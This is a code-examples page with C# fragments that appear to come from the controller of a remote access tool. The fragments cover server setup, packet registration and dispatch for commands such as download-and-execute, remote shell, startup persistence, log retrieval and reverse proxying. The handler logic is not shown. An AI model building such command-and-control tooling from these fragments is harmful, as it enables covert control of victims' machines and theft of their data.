Beispiel #1
0
        public FrmSettings(Server listenServer)
        {
            this._listenServer = listenServer;

            InitializeComponent();

            if (listenServer.Listening)
            {
                btnListen.Text = "Stop listening";
                ncPort.Enabled = false;
                txtPassword.Enabled = false;
            }
        }
Beispiel #2
0
        private void ClientRead(Server server, Client client, IPacket packet)
        {
            var type = packet.GetType();

            if (!client.Value.IsAuthenticated)
            {
                if (type == typeof (Core.Packets.ClientPackets.Initialize))
                    CommandHandler.HandleInitialize(client, (Core.Packets.ClientPackets.Initialize) packet);
                else
                    return;
            }

            if (type == typeof (Core.Packets.ClientPackets.Status))
            {
                CommandHandler.HandleStatus(client, (Core.Packets.ClientPackets.Status) packet);
            }
            else if (type == typeof (Core.Packets.ClientPackets.UserStatus))
            {
                CommandHandler.HandleUserStatus(client, (Core.Packets.ClientPackets.UserStatus) packet);
            }
            else if (type == typeof (Core.Packets.ClientPackets.DesktopResponse))
            {
                CommandHandler.HandleRemoteDesktopResponse(client, (Core.Packets.ClientPackets.DesktopResponse) packet);
            }
            else if (type == typeof (Core.Packets.ClientPackets.GetProcessesResponse))
            {
                CommandHandler.HandleGetProcessesResponse(client,
                    (Core.Packets.ClientPackets.GetProcessesResponse) packet);
            }
            else if (type == typeof (Core.Packets.ClientPackets.DrivesResponse))
            {
                CommandHandler.HandleDrivesResponse(client, (Core.Packets.ClientPackets.DrivesResponse) packet);
            }
            else if (type == typeof (Core.Packets.ClientPackets.DirectoryResponse))
            {
                CommandHandler.HandleDirectoryResponse(client, (Core.Packets.ClientPackets.DirectoryResponse) packet);
            }
            else if (type == typeof (Core.Packets.ClientPackets.DownloadFileResponse))
            {
                CommandHandler.HandleDownloadFileResponse(client,
                    (Core.Packets.ClientPackets.DownloadFileResponse) packet);
            }
            else if (type == typeof (Core.Packets.ClientPackets.GetSystemInfoResponse))
            {
                CommandHandler.HandleGetSystemInfoResponse(client,
                    (Core.Packets.ClientPackets.GetSystemInfoResponse) packet);
            }
            else if (type == typeof (Core.Packets.ClientPackets.MonitorsResponse))
            {
                CommandHandler.HandleMonitorsResponse(client, (Core.Packets.ClientPackets.MonitorsResponse) packet);
            }
            else if (type == typeof (Core.Packets.ClientPackets.ShellCommandResponse))
            {
                CommandHandler.HandleShellCommandResponse(client,
                    (Core.Packets.ClientPackets.ShellCommandResponse) packet);
            }
            else if (type == typeof (Core.Packets.ClientPackets.GetStartupItemsResponse))
            {
                CommandHandler.HandleGetStartupItemsResponse(client,
                    (Core.Packets.ClientPackets.GetStartupItemsResponse) packet);
            }
            else if (type == typeof(Core.Packets.ClientPackets.GetLogsResponse))
            {
                CommandHandler.HandleGetLogsResponse(client, (Core.Packets.ClientPackets.GetLogsResponse) packet);
            }
            else if (type == typeof(Core.ReverseProxy.Packets.ReverseProxyConnectResponse) ||
                    type == typeof(Core.ReverseProxy.Packets.ReverseProxyData) ||
                    type == typeof(Core.ReverseProxy.Packets.ReverseProxyDisconnect))
            {
                ReverseProxyCommandHandler.HandleCommand(client, packet);
            }
        }
Beispiel #3
0
        private void InitializeServer()
        {
            ListenServer = new Server();

            ListenServer.AddTypesToSerializer(typeof (IPacket), new Type[]
            {
                typeof (Core.Packets.ServerPackets.InitializeCommand),
                typeof (Core.Packets.ServerPackets.Disconnect),
                typeof (Core.Packets.ServerPackets.Reconnect),
                typeof (Core.Packets.ServerPackets.Uninstall),
                typeof (Core.Packets.ServerPackets.DownloadAndExecute),
                typeof (Core.Packets.ServerPackets.UploadAndExecute),
                typeof (Core.Packets.ServerPackets.Desktop),
                typeof (Core.Packets.ServerPackets.GetProcesses),
                typeof (Core.Packets.ServerPackets.KillProcess),
                typeof (Core.Packets.ServerPackets.StartProcess),
                typeof (Core.Packets.ServerPackets.Drives),
                typeof (Core.Packets.ServerPackets.Directory),
                typeof (Core.Packets.ServerPackets.DownloadFile),
                typeof (Core.Packets.ServerPackets.MouseClick),
                typeof (Core.Packets.ServerPackets.GetSystemInfo),
                typeof (Core.Packets.ServerPackets.VisitWebsite),
                typeof (Core.Packets.ServerPackets.ShowMessageBox),
                typeof (Core.Packets.ServerPackets.Update),
                typeof (Core.Packets.ServerPackets.Monitors),
                typeof (Core.Packets.ServerPackets.ShellCommand),
                typeof (Core.Packets.ServerPackets.Rename),
                typeof (Core.Packets.ServerPackets.Delete),
                typeof (Core.Packets.ServerPackets.Action),
                typeof (Core.Packets.ServerPackets.GetStartupItems),
                typeof (Core.Packets.ServerPackets.AddStartupItem),
                typeof (Core.Packets.ServerPackets.DownloadFileCanceled),
                typeof (Core.Packets.ServerPackets.GetLogs),
                typeof (Core.Packets.ClientPackets.Initialize),
                typeof (Core.Packets.ClientPackets.Status),
                typeof (Core.Packets.ClientPackets.UserStatus),
                typeof (Core.Packets.ClientPackets.DesktopResponse),
                typeof (Core.Packets.ClientPackets.GetProcessesResponse),
                typeof (Core.Packets.ClientPackets.DrivesResponse),
                typeof (Core.Packets.ClientPackets.DirectoryResponse),
                typeof (Core.Packets.ClientPackets.DownloadFileResponse),
                typeof (Core.Packets.ClientPackets.GetSystemInfoResponse),
                typeof (Core.Packets.ClientPackets.MonitorsResponse),
                typeof (Core.Packets.ClientPackets.ShellCommandResponse),
                typeof (Core.Packets.ClientPackets.GetStartupItemsResponse),
                typeof (Core.Packets.ClientPackets.GetLogsResponse),
                typeof (Core.ReverseProxy.Packets.ReverseProxyConnect),
                typeof (Core.ReverseProxy.Packets.ReverseProxyConnectResponse),
                typeof (Core.ReverseProxy.Packets.ReverseProxyData),
                typeof (Core.ReverseProxy.Packets.ReverseProxyDisconnect)
            });

            ListenServer.ServerState += ServerState;
            ListenServer.ClientState += ClientState;
            ListenServer.ClientRead += ClientRead;
        }
Beispiel #4
0
 private void ServerState(Server server, bool listening)
 {
     try
     {
         this.Invoke((MethodInvoker) delegate { botListen.Text = "Listening: " + listening.ToString(); });
     }
     catch
     {
     }
 }
Beispiel #5
0
        private void ClientState(Server server, Client client, bool connected)
        {
            if (connected)
            {
                client.Value = new UserState();
                // Initialize the UserState so we can store values in there if we need to.

                new Core.Packets.ServerPackets.InitializeCommand().Execute(client);
            }
            else
            {
                int selectedClients = 0;
                this.Invoke((MethodInvoker) delegate
                {
                    foreach (ListViewItem lvi in lstClients.Items)
                    {
                        if ((Client) lvi.Tag == client)
                        {
                            lvi.Remove();
                            server.ConnectedClients--;
                        }
                    }
                    selectedClients = lstClients.SelectedItems.Count;
                });
                UpdateWindowTitle(ListenServer.ConnectedClients, selectedClients);
            }
        }